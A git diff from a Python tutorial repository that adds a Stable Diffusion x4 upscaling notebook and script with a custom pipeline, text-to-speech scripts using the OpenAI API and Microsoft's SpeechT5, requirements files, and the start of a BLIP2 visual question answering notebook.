"description_tooltip": null, + "layout": "IPY_MODEL_b9cf936d26124cad959de16fcf5bea63", + "placeholder": "​", + "style": "IPY_MODEL_b3ae18d50eb4415b950f98bb38362207", + "value": "100%" + } + }, + "ec0c44e82a814774823e60634d678b0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed75698d0ffe4bcf886c72d276bbee17": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ed9e0cfb4635476f9e31c5b48aeafde8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee5e249b357649ab95d493d940bc3b01": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "efb86ed04a0d477794e70dc92219399b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_10d895cb5166417fa2b4cc0d2feb7b6f", + "placeholder": "​", + "style": "IPY_MODEL_23b55638314c4e2b967f85ab40042a6c", + "value": " 1.36G/1.36G [00:25<00:00, 66.5MB/s]" + } + }, + "f24b18d71065474a9f169b4fd66898f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f3c0042a67e34e72b1088b60c11ba2d0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f6579ff0c08648309711a654ec3de748": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f78f911cd0ac4cdc8fdcbcb29f1a201b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_90c7965cfde540158d9e7cb049c2d7d3", + "placeholder": "​", + "style": "IPY_MODEL_b991b21d18ec471fb18b291a0c10aa6e", + "value": " 460/460 [00:00<00:00, 2.77kB/s]" + } + }, + "f874ed5ecd6f4eed976ed24b0be4ae51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f8c3945c2c554cc9b7ea7435525c4ab4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f931614414ba46adaab4c0522e65ebf8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f931d10a75ab4aafb1d6b92a0ba622b3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5d3f04417ce64f80a2843e74bf6208f7", + "placeholder": "​", + "style": "IPY_MODEL_341fa26d73394e6cb71498a9c95b458c", + "value": " 1.06M/1.06M [00:00<00:00, 4.16MB/s]" + } + }, + "fb2398f1e5ff43f7a2f81bd51bf58e2a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_53fa5e54123446199d57c27c3ee8b091", + "IPY_MODEL_07a431a9456648b6bcbfa899ee0014ac", + "IPY_MODEL_2f972961c0eb411ca45b8af05cc05e3b" + ], + "layout": "IPY_MODEL_6525d3514cee42f3bd14bdf898b63ad2" + } + }, + "fc9a8403148c431e8b0200d40c6efcb7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8b24a6ee676942ddaa27f44902ef2ac5", + "IPY_MODEL_5b74c15d312f404e88323771b08b0aeb", + "IPY_MODEL_7ad5acf646b44af2a1d8558abbb59199" + ], + "layout": "IPY_MODEL_d22523983b9a4c71a3057f3a281895ee" + } + }, + "fcc7b1147ad94a01ae49b4268e85d310": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ff88d9a5f7d64ad7bb0f09f6c71543f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/stable-diffusion-upscaler/requirements.txt b/machine-learning/stable-diffusion-upscaler/requirements.txt new file mode 100644 index 00000000..6feca34e --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/requirements.txt @@ -0,0 +1,6 @@ +torch +diffusers +transformers +accelerate +scipy +safetensors \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py new file mode 100644 index 00000000..06efe53c --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py @@ -0,0 +1,303 @@ +# %% +!pip install -qU diffusers transformers accelerate scipy safetensors + +# %% [markdown] +# # Hugging Face Implementation + +# %% +import requests +from PIL import Image +from io import BytesIO +from diffusers import StableDiffusionUpscalePipeline +import torch + +# %% +# load model and scheduler +model_id = "stabilityai/stable-diffusion-x4-upscaler" +pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16) +pipeline = pipeline.to("cuda") + +# %% +def get_low_res_img(url, shape): + response = requests.get(url) + low_res_img = Image.open(BytesIO(response.content)).convert("RGB") + low_res_img = low_res_img.resize(shape) + return low_res_img + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an old lady" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an iranian old lady with black hair, brown scarf, rock background" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg" +shape = (450, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "zebras drinking water" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((1800, 512)) +upscaled_interpolation + +# %% + + +# %% + + +# %% [markdown] +# # Custom +# + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class CustomSDUpscalingPipeline: + """custom implementation of the Stable Diffusion Upscaling Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + low_res_scheduler, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.low_res_scheduler = low_res_scheduler + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds for classfier free guidance + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale): + """denoises latents from noisy latent to a meaningful latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + latent_model_input = torch.cat([latent_model_input, image], dim=1) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + class_labels=noise_level + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=9.0, + noise_level=20): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # preprocess image + image = self.image_processor.preprocess(image).to(self.device) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps, device=self.device) + timesteps = self.scheduler.timesteps + + # add noise to image + noise_level = torch.tensor([noise_level], device=self.device) + noise = torch.randn(image.shape, device=self.device) + image = self.low_res_scheduler.add_noise(image, noise, noise_level) + + # duplicate image for classifier free guidance + image = torch.cat([image] * 2) + noise_level = torch.cat([noise_level] * image.shape[0]) + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + height, width = image.shape[2:] + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = self.transform_image(image.detach()) # detach to remove any computed gradients + + return image + +# %% +# get all the components from the SD Upscaler pipeline +vae = pipeline.vae +tokenizer = pipeline.tokenizer +text_encoder = pipeline.text_encoder +unet = pipeline.unet +low_res_scheduler = pipeline.low_res_scheduler +scheduler = pipeline.scheduler +image_processor = pipeline.image_processor + +custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "a professional photograph of a lion's face" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% + + + diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 new file mode 100644 index 00000000..45d11628 Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md index c9b5b640..4786b024 100644 --- a/machine-learning/text-to-speech/README.md +++ b/machine-learning/text-to-speech/README.md @@ -2,3 +2,5 @@ - `pip3 install -r requirements.txt` - To convert text to speech online using Google API, use `tts_google.py` - To use offline engines in your platform, consider using `tts_pyttsx3.py` +- To use the OpenAI API, use `tts_openai.py` +- To use transformers, use `tts_transformers.py` diff --git a/machine-learning/text-to-speech/requirements b/machine-learning/text-to-speech/requirements deleted file mode 100644 index b4362d6e..00000000 --- a/machine-learning/text-to-speech/requirements +++ /dev/null @@ -1,3 +0,0 @@ -pyttsx3 -gTTS -playsound \ No newline at end of file diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt new file mode 100644 index 00000000..7c4e99dd --- /dev/null +++ b/machine-learning/text-to-speech/requirements.txt @@ -0,0 +1,8 @@ +pyttsx3 +gTTS +playsound +soundfile +transformers +datasets +sentencepiece +openai \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py new file mode 100644 index 00000000..2087fea6 --- /dev/null +++ b/machine-learning/text-to-speech/tts_openai.py @@ -0,0 +1,20 @@ +from openai import OpenAI + +# initialize the OpenAI API client +api_key = "YOUR_OPENAI_API_KEY" +client = OpenAI(api_key=api_key) + +# sample text to generate speech from +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +# generate speech from the text +response = client.audio.speech.create( + model="tts-1", # the model to use, there is tts-1 and tts-1-hd + voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer + input=text, # the text to generate speech from + speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0 +) +# save the generated speech to a file +response.stream_to_file("openai-output.mp3") \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py new file mode 100644 index 00000000..8ba6414e --- /dev/null +++ b/machine-learning/text-to-speech/tts_transformers.py @@ -0,0 +1,67 @@ +from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan +from datasets import load_dataset +import torch +import random +import string +import soundfile as sf + +device = "cuda" if torch.cuda.is_available() else "cpu" +# load the processor +processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts") +# load the model +model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device) +# load the vocoder, that is the voice encoder +vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device) +# we load this dataset to get the speaker embeddings +embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation") + +# speaker ids from the embeddings dataset +speakers = { + 'awb': 0, # Scottish male + 'bdl': 1138, # US male + 'clb': 2271, # US female + 'jmk': 3403, # Canadian male + 'ksp': 4535, # Indian male + 'rms': 5667, # US male + 'slt': 6799 # US female +} + +def save_text_to_speech(text, speaker=None): + # preprocess text + inputs = processor(text=text, return_tensors="pt").to(device) + if speaker is not None: + # load xvector containing speaker's voice characteristics from a dataset + speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device) + else: + # random vector, meaning a random voice + speaker_embeddings = torch.randn((1, 512)).to(device) + # generate speech with the models + speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder) + if speaker is not None: + # if we have a speaker, we use the speaker's ID in the filename + output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3" + else: + # if we don't have a speaker, we use a random string in the filename + random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5)) + output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3" + # save the generated speech to a file with 16KHz sampling rate + sf.write(output_filename, speech.cpu().numpy(), samplerate=16000) + # return the filename for reference + return output_filename + +# generate speech with a US female voice +save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"]) +# generate speech with a random voice +save_text_to_speech("Python is my favorite programming language") + +# a challenging text with all speakers +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +for speaker_name, speaker in speakers.items(): + output_filename = save_text_to_speech(text, speaker) + print(f"Saved {output_filename}") +# random speaker +output_filename = save_text_to_speech(text) +print(f"Saved {output_filename}") \ No newline at end of file diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg new file mode 100644 index 00000000..56932377 Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md new file mode 100644 index 00000000..a88ef88c --- /dev/null +++ b/machine-learning/visual-question-answering/README.md @@ -0,0 +1 @@ +# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python) \ No newline at end of file diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb new file mode 100644 index 00000000..5b880995 --- /dev/null +++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb @@ -0,0 +1,912 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 2, + "id": "2d87ad23-587a-4b20-8121-1d1748ac301a", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Collecting transformers\n", + " Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n", + "\u001b[?25hCollecting accelerate\n", + " Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m227.6/227.6 kB\u001b[0m \u001b[31m47.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.10/dist-packages (from transformers) (3.9.0)\n", + "Collecting huggingface-hub<1.0,>=0.14.1 (from transformers)\n", + " Downloading huggingface_hub-0.15.1-py3-none-any.whl (236 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m236.8/236.8 kB\u001b[0m \u001b[31m59.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.10/dist-packages (from transformers) (1.24.1)\n", + "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.10/dist-packages (from transformers) (23.1)\n", + "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.10/dist-packages (from transformers) (6.0)\n", + "Collecting regex!=2019.12.17 (from transformers)\n", + " Downloading regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (770 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m770.4/770.4 kB\u001b[0m \u001b[31m50.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.10/dist-packages (from transformers) (2.28.1)\n", + "Collecting tokenizers!=0.11.3,<0.14,>=0.11.1 (from transformers)\n", + " Downloading tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.8 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.8/7.8 MB\u001b[0m \u001b[31m99.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m00:01\u001b[0m\n", + "\u001b[?25hCollecting safetensors>=0.3.1 (from transformers)\n", + " Downloading safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.3 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/1.3 MB\u001b[0m \u001b[31m111.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hCollecting tqdm>=4.27 (from transformers)\n", + " Downloading tqdm-4.65.0-py3-none-any.whl (77 kB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m77.1/77.1 kB\u001b[0m \u001b[31m18.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n", + "\u001b[?25hRequirement already satisfied: psutil in /usr/local/lib/python3.10/dist-packages (from accelerate) (5.9.5)\n", + "Requirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.10/dist-packages (from accelerate) (2.0.1+cu117)\n", + "Collecting fsspec (from 